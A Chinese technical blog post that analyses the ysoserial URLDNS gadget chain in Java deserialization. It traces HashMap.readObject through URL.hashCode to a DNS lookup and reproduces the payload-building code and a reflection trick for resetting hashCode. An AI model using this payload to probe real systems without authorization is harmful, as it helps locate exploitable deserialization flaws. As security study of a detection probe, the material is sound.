JAVA安全-URLDNS链分析

引子

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

但是它有以下优点:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

先说一下整个链的过程

HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName() 

我们可以通过这条链很容易判断是否存在反序列化漏洞

JAVA序列化与反序列化

SER

public static void serialize() throws IOException {Student student = new Student();student.setName("CodeSheep");ObjectOutputStream objectOutputStream = new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );objectOutputStream.writeObject( student ); //将student序列化结果写入student.txtobjectOutputStream.close();System.out.println("序列化成功");
} 

UNSER

public static void deserialize() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream( new FileInputStream( new File("student.txt") ) );Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。objectInputStream.close();System.out.println("反序列化结果为:");System.out.println( student ); 

在序列化和反序列化时执行类自定义的readObject和writeObject,这就是我们利用的点

URLDNS

本链不作为攻击方法,只作为验证。

入口类HashMap:符合条件

1)入口类重写readObject方法

2)入口类可传入任意对象(这种类一般为集合类)

3)执行类可被利用执行危险或任意函数

public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;
} 

代码很短,简单看一下,我们跟进HashMap类里看看

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " + loadFactor);s.readInt();// Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " + mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); 

可以看到重写了readobject方法,因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。

重点是其中的

putVal(hash(key), key, value, false, false); 

我们可以看到putVal调用了hash函数,跟进一下,发现这里使用传入参数对象keyhashCode方法。 至此我们可以知道key可能是可控的。那我们要怎样利用呢?

我们再来说一说hashCode方法,根据链子名称,我们看一下URL类的hashcode方法

public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;
} 

hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。

handlerURLStreamHandler的实例,跟进handlerhashCode方法,接收URL类的实例,调⽤getHostAddress⽅法

我们继续跟进一下

protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();} 

到这我们可以看到跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求。

整个链子的执行效果也就是进行DNS请求。链子的逻辑也就是:

HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName() 

注意点

经过上面的执行后大家会发现当我们执行这个链子时,DNSLOG会收到两次请求。这是因为我们还没有进行反序列化之前链子已经走完,就会请求一次DNS,这会对我们判断打没打通照成不小的影响。对于这里,我们可以通过反射机制来让hashCode不等于-1,修改方法:

反射爆破—>setAccessible

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1); 

而在ysoserial中为了让HashMap在第一次put元素时,不执行DNSLOG请求,因此,ysoserial重写了getHostAddress方法,将该方法置为空实现。

URLStreamHandler handler = new SilentURLStreamHandler();ht.put(new URL(null, url, handler), url); --> putVal(hash(key), key, value, false, true) --> hash(key) --> URL.hashCode() -->URLStreamHandler.hashCode(this) --> SilentURLStreamHandler.getHostAddress(u) --> 空实现。 

至于为什么要设置为-1,hashCode值默认为-1,HashMap.put操作,会重置成员变量的值。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值